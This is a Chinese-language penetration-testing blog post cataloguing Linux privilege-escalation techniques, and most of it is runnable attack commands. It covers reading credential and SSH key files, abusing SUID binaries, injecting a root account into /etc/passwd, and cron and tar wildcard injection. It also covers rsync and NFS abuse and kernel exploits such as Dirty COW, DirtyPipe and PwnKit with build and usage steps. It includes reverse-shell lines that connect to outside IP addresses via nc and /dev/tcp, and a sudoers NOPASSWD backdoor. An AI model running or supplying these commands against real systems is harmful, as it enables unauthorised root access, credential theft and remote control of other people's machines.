HacKerQWQ的博客空间

渗透测试之提权篇二(Linux提权)

Word count: 7kReading time: 31 min
2021/09/06 Share

Linux提权概述

Linux的提权主要分为基于内核的提权和其他提权,内核提权好处是只要是使用了漏洞版本的内核,那么基本exp通杀,缺点是不稳定,容易丢失shell或者造成系统崩溃,造成损失。

Linux提权的思路主要是:

  1. 上传提权遍历脚本遍历系统内核情况
  2. 根据系统开启的服务进行针对性提权

提权信息收集脚本

Linux提权实操

信息收集

内核,操作系统,设备信息

1
2
3
4
5
6
7
8
9
10
11
12
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-

用户和群组

1
2
3
4
5
6
7
8
9
10
11
cat /etc/passwd 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完

用户权限信息

1
2
3
4
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息

1
2
3
4
5
6
7
8
9
10
11
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

进程和服务

1
2
3
4
ps aux
ps -ef
top
cat /etc/services

查看以root 运行的进程

1
2
ps aux | grep root
ps -ef | grep root

查看安装的软件

1
2
3
4
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服务/插件

检查有没有不安全的服务配置,和一些有漏洞的插件。

1
2
3
4
5
6
7
8
9
10
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划任务

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有无明文存放用户密码

1
2
3
4
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

有无ssh 私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

查看当前机器通信的其他用户或者主机

1
2
3
4
5
6
7
8
9
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
lastw

日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

查看安装过的工具

1
2
3
4
find / -name perl*
find / -name python*
find / -name gcc*
...

Docker提权

docker组拥有启动docker的权限,此时如果将本地磁盘映射到docker里面并且用容器内的root权限修改,就可以读取宿主机的内容甚至添加拥有sudo权限的用户

docker run -it –rm -v /etc:/etc ubuntu /bin/bash
adduser test
usermod -aG sudo test

此时已经添加具有sudo的test用户成功了,退出重新进就可以启用了
参考链接:https://www.freebuf.com/articles/system/170783.html

SUID提权

原理参考:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

当可执行文件设置了s位,并且可执行文件的所有者是root时可尝试suid提取

设置suid:

1
2
3
4
chmod u+s file1.txt
chmod 4750 file1.txt#4代表suid被设置
chmod u+s filename#设置SUID位
chmod u-s filename#取消SUID位

查找设置了s位的可执行文件

1
2
3
4
5
6
7
8
9
10
find / -perm -4000 2> /dev/null
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

find提权

查找有特殊权限的suid命令
找到/usr/bin/find后

1
2
3
touch test
find test -exec "whoami" \;
find test -exec "/bin/bash" \;

即可提权成功

nmap提权

nmap5.2前的版本可通过--interactive交互模式进行提权

1
2
nmap --interactive
!sh

image-20210907094045820

nmap5.2后的版本可通过执行脚本的方式进行提权

  1. 编写shell.nse,内容是

    1
    os.execute('/bin/sh')
  2. 通过nmap执行脚本

    1
    nmap --script=shell.nse

vim提权

给/usr/bin/vim增加suid权限后可以实现vim提权

1
2
3
vim
:set shell=/bin/sh
:shell

或者增加root组用户

  1. 生成密码

    1
    2
    openssl passwd -1 -salt asd 123456
    # openssl passwd -{1,2,3,4,5,6} -salt salt passwd

    image-20210907230800949

  2. 写入到/etc/passwd

    toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

    即可获得root权限的shell

    image-20210907231016071

更多SUID提权方法
查可利用SUID

PATH提权

思想就是利用系统查找命令的二进制文件的优先级不同来执行我们的命令,具体可以看Moonback师傅的博客

https://www.wolai.com/c18w5sZT8VTmCTVjizqk9w

1
2
3
4
5
6
7
8
root@hackerqwq-virtual-machine:/home/hackerqwq/桌面# export PATH=/tmp:${PATH}
root@hackerqwq-virtual-machine:/home/hackerqwq/桌面# echo $PATH
/tmp:/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
root@hackerqwq-virtual-machine:/home/hackerqwq/桌面# echo '/bin/sh' >/tmp/id
root@hackerqwq-virtual-machine:/home/hackerqwq/桌面# chmod 777 /tmp/id
root@hackerqwq-virtual-machine:/home/hackerqwq/桌面# id
# whoami
root

sudo提权(CVE-2021-3156)

简介

由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

影响范围

  • Sudo 1.8.2 - 1.8.31p2
  • Sudo 1.9.0 - 1.9.5p1

测试系统是否易受此漏洞影响:

  1. 以非root用户身份登录系统。

  2. 运行命令“sudoedit -s /”

  3. 如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复。

利用工具:https://github.com/blasty/CVE-2021-3156

crontab提权

crontab是Linux用于计划任务的功能文件

  • 基本用法
1
2
3
crontab -e   编辑当前的crontab文件,默认保存在/var/spool/cron/用户名下
crontab -r 删除目前的时程表
crontab -l 列出目前的时程表
  • 文件位置

    /var/spool/cron/user用于区分每个用户的执行计划

    /etc/crontab用于写系统执行计划,需要在星号后面添加执行命令的用户

  • crontab语法

1
2
3
4
5
6
7
8
9
10
11
分 时 日 月 周 需要执行的命令

分:0~59
时:0~23
日:1~31
月:1~12
周:0~6 #0代表周日
*:(星号)代表取值范围中的每一个数字
-:(减号)连续区间表达式,想要代表1~7,则需要写成1-7
/:(斜杠)表示每x个。例如想在每10分钟执行一次,则在分的位置写:*/10
,:(逗号)表示多个取值。如果想在1点,3点,5点执行一次,则在时的位置写:1,3,5

比如

1
*/1 * * * * echo `date >> /tmp/date

每分钟输出时间到/tmp/date文件中

漏洞利用

加入系统任务中添加了一个指定高权限用户执行脚本的任务,并且该脚本可以被低权限用户修改,这样低权限用户可以进行垂直提权操作

添加root组用户

  1. 生成密码
1
openssl passwd -1 -salt asd 123456

image-20210907230800949

  1. 写入到/etc/passwd

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

即可获得root权限的shell

image-20210907231016071

复制bash

1
2
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> test.sh
/tmp/bash -p#即可拿到root权限的shell

image-20210907225943439

通配符提权

chmod&chown提权

主要利用到--reference=RFILE和通配符进行提权

原理:chown的--reference选项可将当前用户的所有者改变为引用文件的所有者,结合通配符*进行提权

应用场景:root用户会使用chown或者chmod命令配合--reference选项和通配符*进行权限修改

用法:

1
2
3
4
5
6
#创建当前用户权限的文件
echo "my privilege">my.php
#创建引用文件
echo ""> ./reference=my.php
#在root用户执行命令中添加恶意命令,这里使用crontab执行脚本中写入的场景
chown root *

由于文件名中不能有斜杠,因此如果要通过crontab的脚本进行提权,可以在要获得权限的目录创建脚本文件,在crontab执行的脚本中添加该脚本,最后命令会由于通配符演变成

1
chown root my.php chown.php(原有文件) --reference=my.php

image-20210908100553396

tar提权

简介:tar用于压缩或解压,当crontab使用tar命令打包某个目录下的所有文件时,可以造成通配符注入,如下

image-20210908104151879

原理:--checkpoint规定了写入几个记录之后设置检查点,--checkpoint-exec规定了执行的外部命令

操作如下:

  1. 生成反弹shell的payload

    这里用Hack Tools进行payload生成

    image-20210908103724844

  2. 创建恶意文件

    1
    2
    3
    4
    5
    6
    7
    8
    #创建反弹shell的脚本
    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.141 8888 >/tmp/f" > shell.sh
    #创建checkpoint-action执行文件
    echo > "--checkpoint-action=exec sh shell.sh"
    #创建checkpoint
    echo > --checkpoint=1
    #tar执行命令
    tar cf archive.tar *

    image-20210908105403962

  • 遇到压缩路径的问题,当tar压缩路径包含绝对路径的时候,提权失败,因为压缩的时候带上了路径信息

  • 因此如果要提权成功,需要进入到要压缩的目录,如

    1
    cd /var/www/html;tar cf archive.tar *

    使用绝对路径压缩的结构tar cf archive.tar /var/www/html/*

    image-20210908105707019

    使用相对路径压缩的结构tar cf archive.tar *

    image-20210908105750855

    没有出现--checkpoint那些文件是因为执行反弹shell的命令了

tar提权更多操作

  1. 可以将某个用户添加到sudoers中,从而无密码执行root可执行的命令

    1
    echo 'echo "test ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > shell.sh
  2. 可以给可进行suid提权的二进制文件赋予suid权限

    1
    2
    3
    4
    5
    6
    echo "chmod u+s /usr/bin/find" > test.sh
    echo "" > "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
    tar cf archive.tar *
    find f1 -exec "whoami" \;
    find f1 -exec "/bin/sh" \;

rsync提权

rsync简介

rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。

rsync默认端口是873

rsync用法

1
2
3
4
5
6
#查看目录
rsync rsync://127.0.0.1:873
#上传文件
rsync -avz test.txt rsync://127.0.0.1:873/src/test.txt
#下载文件
rsync -avz rsync://127.0.0.1/src/test.txt test.txt

rsync漏洞利用

如果rsync.conf文件未设置auth users,那么就存在未授权访问漏洞,可以通过修改crontab,上传文件等方式获取权限

  1. crontab+上传shell获取反弹shell

    1. 从服务器下载crontab修改后上传

      1
      rsync -avz rsync://192.168.16.141:873/src/etc/crontab

      image-20210908164618553

      增加一行然后上传

      1
      2
      3
      4
      #crontab增加一行计划任务
      */1 * * * * root /tmp/shell.sh
      #上传crontab
      rsync -avz crontab rsync://192.168.16.141:873/src/etc/crontab
  1. 创建反弹shell上传

    1
    2
    3
    4
    5
    #创建shell
    #!/bin/bash
    bash -i &>/dev/tcp/139.224.247.105/8888 <&1
    #上传shell
    rsync -avz shell.sh rsync://192.168.16.141:873/src/tmp/shell.sh
  2. 获得shell

    image-20210908170323480

  1. crontab(hourly)+shell

    1. 修改shell文件名为shell,并上传至/etc/cron.hourly

    2. 修改crontab

      1
      */1 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

      表示每分钟执行一次/etc/cron.hourly文件夹下的文件

    3. 监听接收shell

  2. nmap扫描rsync的脚本

    1. https://svn.nmap.org/nmap/scripts/rsync-list-modules.nse

      1
      nmap -p 873 --script rsync-list-modules 192.168.16.141

      image-20210908171642043

    2. https://svn.nmap.org/nmap/scripts/rsync-brute.nse%E3%80%82

      image-20210908171855809

  3. rssh 2.3.3-3在使用rsync时没有正确过滤 -e 选项,可导致远程攻击者利用此漏洞执行任意命令。

    攻击语句:

    1
    rsync -e./script.sh  localhost:/tmp--server ./

NFS弱权限提权

NFS简介

网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。

Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话的话”,并为远程用户授予root用户对所连接系统的访问权限。

如下图所示,该共享可以被远程root连接并读写,并且具有root权限,所以可以添加bash文件并赋予SUID权限,在目标机器的普通用户权限下可以执行bash文件,获取root权限。

NFS提权漏洞利用

  1. 查看NFS服务器上的共享目录

    1
    sudo showmount -e 10.1.1.233
  2. 本地挂载目录,使用攻击者本地root权限创建Suid shell。

    1
    2
    3
    4
    sudo mkdir -p /tmp/data
    sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data
    cp /bin/bash /tmp/data/shell
    chmod u+s /tmp/data/shell
  3. 在shell上使用shell -p参数获取root权限

修复建议

更改配置文件/etc/rsyncd.conf,添加或修改参数:

  1. 访问控制,设置host allow,限制访问主机IP;
  2. 权限控制,设置read only=yes,模块设置为只读;
  3. 访问认证,设置auth、secrets,认证成功才能调用服务;
  4. 模块隐藏,设置list,将模块隐藏起来。

内核提权

脏牛提权

漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复

原理

Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
脏牛提权官网
https://dirtycow.ninja/

测试

  1. 官方exp不常用
    https://github.com/dirtycow/dirtycow.github.io
  2. dirtycow

https://gist.github.com/HacKerQWQ/46e9df80b2159847bce5e208084eb7e1

用法:

1
2
3
4
5
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
//输入密码
su firefart//登录账号
//记得恢复/etc/passwd
  1. CVE-2016-5195
    成功范围:
  • RHEL7 Linux x86_64;

  • RHEL4 (4.4.7-16, with “legacy” version)

  • Debian 7 (“wheezy”);

  • Ubuntu 14.04.1 LTS

  • Ubuntu 14.04.5 LTS

  • Ubuntu 16.04.1 LTS

  • Ubuntu 16.10

  • Linux Mint 17.2
    and compiled with:

  • clang version 4.0.0;

  • gcc version 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)

  • gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)

  • gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC);

  • gcc version 4.8.4 (Ubuntu 4.8.4);

  • gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1)

  • gcc version 4.7.2 (Debian 4.7.2-5);

  • gcc version 4.4.7 (with “legacy” version)

链接:
https://www.exploit-db.com/exploits/40847
用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
all: dcow

dcow: dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

strip: dcow
strip ./dcow

clean:
rm -f dcow

Compile the program: make

Start the program:
./dcow
or
./dcow -s # Automatically open a root shell and restore the passwd file.
./dcow -s -n # Automatically open a root shell but doesn't restore the passwd file.

Online help:

./dcow -h

以下命令用于恢复/etc/passwd

1
2
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak

总结

原理都是利用官方的exp获取了写入权限后,对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限。优点方便快速。缺点受限与环境影响。某些环境下会失败。如果失败还是使用官方放出的exp,对/etc/passwd进行写入,写入前一定要记得先备份!

参考链接

https://zerokeeper.com/penetration/the-use-of-dirty-cow-dirty-cattle-loopholes-in-the-right-to-try.html

CVE-2022-0847(DirtyPipe,5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102)

2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。

在3月7日, 漏洞发现者Max Kellermann详细披露了该漏洞细节以及完整POC。Paper中不光解释了该漏洞的触发原因, 还说明了发现漏洞的故事, 以及形成该漏洞的内核代码演变过程, 非常适合深入研究学习。

漏洞影响版本: 5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102

修复版本:

  • 5.16.11
  • 5.15.25
  • 5.10.102

项目地址:https://github.com/eduquintanilha/CVE-2022-0847-DirtyPipe-Exploits

1
2
3
4
5
6
7
8
sudo apt-get install gcc
chmod +x compile.sh
./compile.sh
# exploit-1,将root密码替换为piped,passwd备份到/tmp/passwd.bak,建议手动备份,返回root的shell
./exploit-1
# exploit-2,注入suid权限
find / -perm -4000 2>/dev/null
./exploit-2 /usr/bin/sudo

Ubuntu20.04实验成功

img

CVE-2022-34918( 5.8 <= Linux Kernel <= 5.18.9)

介绍:Linux Kernel本地提权漏洞

img

项目地址:https://github.com/veritas501/CVE-2022-34918.git

CVE-2021-4034(CentOS、Ubuntu系列)

在 polkit 的 pkexec 实用程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过制作环境变量来利用这一点,从而诱导 pkexec 执行任意代码。成功执行后,由于目标计算机上的非特权用户管理权限,攻击可能会导致本地特权升级。

Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的预装组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。

影响范围

由于 polkit 为系统预装工具,目前主流Linux版本均受影响。

不受影响范围

1
2
3
4
5
6
7
8
9
10
11
12
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

利用漏洞

1
2
3
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make

或者使用exploit-db的脚本

https://www.exploit-db.com/exploits/50689

漏洞修复

Centos:

1
yum cleanall && yum makecacheyum updatepolkit -y

Ubuntu:

1
sudo apt-get updatesudo apt-get install policykit-1

Red Hat:

1、按照https://access.redhat.com/solutions/5441的指示安装所需的 systemtap 包和依赖项

2、安装polkit调试信息

1
debuginfo-install polkit

3、创建以下 systemtap 脚本,并将其命名为 pkexec-block.stp

1
2
3
4
probe process("/usr/bin/pkexec").function("main")  {
if (cmdline_arg(1) == "")
raise(9);
}

4、将 systemtap 模块加载到正在运行的内核中

1
stap -g -F -m stap_pkexec_block pkexec_block.stp

5、确保模块已加载

1
2
lsmod | grep -i stap_pkexec_block 
stap_pkexec_block 434176 0

6、将 polkit 包更新到包含修复的版本后,可以通过运行以下命令删除 systemtap 生成的内核模块

1
rmmod stap_pkexec_block

CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)

描述:条件竞争漏洞,可以让低权限的进程获得内核代码执行权限
用法:

1
./chocobo_root

POC: https://www.seebug.org/vuldb/ssvid-92567

CVE-2019-13272(Ubuntu、Debian系列)

发布时间

      2019月7月17日

影响内核版本

      Linux Kernel < 5.1.17

漏洞描述

   img

译文

  kernel 5.1.17之前版本中存在安全漏洞,该漏洞源于kernel/ptrace.c文件的ptrace_link没有正确处理对凭证的记录。攻击者可利用该漏洞获取root访问权限。由于  PTRACE_TRACEME允许的borked权限,利用bug在概念上很有趣。对象生命周期处理问题可能会导致内存损坏,但它需要以精确的方式进行代码竞争。事实PTRACE_TRACEME证明,除了父进程之外,内核还记录了跟踪器的凭据。研究人员概述的方案涉及一个父进程,该进程创建一个子进程,这个子进程会创建子进程。第一个子进程使用命令pkexec(用于以root身份运行程序),第二个子进程运行PTRACE_TRACEME,然后第一个子进程丢弃其权限。最终结果是父进程可以使用ptrace来控制第一个子进程,后者可以使用ptrace来控制第二个子进程 - 从而让攻击者获得对两个进程的控制权。     

漏洞复现

      img

      img

      img

      img  

作者已测试成功的版本:  

      img

局限:  

    img

      img

      

我尝试在ssh登录时去复现,未能成功。  

      img

CVE-2017-16995(Ubuntu本地提权)

影响范围:Linux Kernel Version 4.14-4.4

kernel/bpf/verifier.c 中的 check_alu_op 函数允许本地用户通过利用不正确的符号扩展来导致拒绝服务(内存损坏)或可能产生未指定的其他影响。

Ubuntu版本16.04收到影响

利用方法:

1
2
3
$ gcc -o pwned upstream44.c

$ ./pwned

CVE-2017-1000367(sudo本地提权漏洞,Sudo 1.8.6p7 - 1.8.)

https://github.com/SecWiki/linux-kernel-exploits/tree/master/2017/CVE-2017-1000367

sudo

1
Sudo 1.8.6p7 - 1.8.20

Requirements

  • System must be selinux-enabled
  • sudo needs to be built with selinux support (sudo -r)
  • User needs to have sudo permissions e.g. “toor ALL=(ALL) NOPASSWD: /usr/bin/sum”

Usage

1
- Compile: gcc -o sudopwn sudopwn.c -lutil

Screenshot_2017-06-05_21-40-38

CVE-2017-1000364

描述:Linux Kernel Stack Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞,它影响Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻击者可以利用它破坏内存并执行任意代码 。

CVE-2022-34918(Net-filter)

由于nft_set_elem_init函数中对用户输入的弱检查存在缺陷,最终导致缓冲区溢出,攻击者成功利用此漏洞可实现本地权限提升(LPE)为root。该漏洞的利用前提需要获取非特权用户命名空间。请受影响的用户尽快采取措施进行防护。 Netfilter是Linux内核中的数据包处理模块,它提供了一个数据包的过滤、工具可以处理、可以地址转换NAT的功能。 影响范围:5.8 <= Linux Netfilter <= 5.18.9

项目地址:https://github.com/randorisec/CVE-2022-34918-LPE-PoC

1
2
3
$ ls
get_root poc
$ ./poc

CVE-2016-1247(Nginx权限提升漏洞)

描述:Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
提权相关代码在GetRoot目录,POC中是上面提到的几个本地提权源代码,release中分别是编译好的32位和64位程序。

CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)

描述:DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存,导致拒绝服务(系统崩溃)或者提升权限,获得系统的管理访问权限
用法:

1
./pwn

POC:https://github.com/SecWiki/linux-kernel-exploits/tree/master/2017/CVE-2017-6074

CATALOG
  1. 1. Linux提权概述
    1. 1.1. 提权信息收集脚本
  2. 2. Linux提权实操
    1. 2.1. 信息收集
      1. 2.1.1. 内核,操作系统,设备信息
      2. 2.1.2. 用户和群组
      3. 2.1.3. 用户权限信息
      4. 2.1.4. 环境信息
      5. 2.1.5. 进程和服务
      6. 2.1.6. 查看安装的软件
      7. 2.1.7. 服务/插件
      8. 2.1.8. 计划任务
      9. 2.1.9. 有无明文存放用户密码
      10. 2.1.10. 有无ssh 私钥
      11. 2.1.11. 查看当前机器通信的其他用户或者主机
      12. 2.1.12. 日志文件
      13. 2.1.13. 查看可写/执行目录
      14. 2.1.14. 查看安装过的工具
    2. 2.2. Docker提权
    3. 2.3. SUID提权
      1. 2.3.1. find提权
      2. 2.3.2. nmap提权
      3. 2.3.3. vim提权
    4. 2.4. PATH提权
    5. 2.5. sudo提权(CVE-2021-3156)
    6. 2.6. crontab提权
      1. 2.6.1. 漏洞利用
    7. 2.7. 通配符提权
      1. 2.7.1. chmod&chown提权
      2. 2.7.2. tar提权
        1. 2.7.2.1. tar提权更多操作
    8. 2.8. rsync提权
      1. 2.8.1. rsync简介
      2. 2.8.2. rsync用法
      3. 2.8.3. rsync漏洞利用
    9. 2.9. NFS弱权限提权
      1. 2.9.1. NFS简介
      2. 2.9.2. NFS提权漏洞利用
      3. 2.9.3. 修复建议
    10. 2.10. 内核提权
      1. 2.10.1. 脏牛提权
        1. 2.10.1.1. 原理
        2. 2.10.1.2. 测试
        3. 2.10.1.3. 总结
        4. 2.10.1.4. 参考链接
      2. 2.10.2. CVE-2022-0847(DirtyPipe,5.8 <= Linux内核版本 < 5.16.11 / 5.15.25 / 5.10.102)
    11. 2.11. CVE-2022-34918( 5.8 <= Linux Kernel <= 5.18.9)
      1. 2.11.1. CVE-2021-4034(CentOS、Ubuntu系列)
        1. 2.11.1.1. 影响范围
        2. 2.11.1.2. 不受影响范围
        3. 2.11.1.3. 利用漏洞
        4. 2.11.1.4. 漏洞修复
      2. 2.11.2. CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
      3. 2.11.3. CVE-2019-13272(Ubuntu、Debian系列)
      4. 2.11.4. CVE-2017-16995(Ubuntu本地提权)
      5. 2.11.5. CVE-2017-1000367(sudo本地提权漏洞,Sudo 1.8.6p7 - 1.8.)
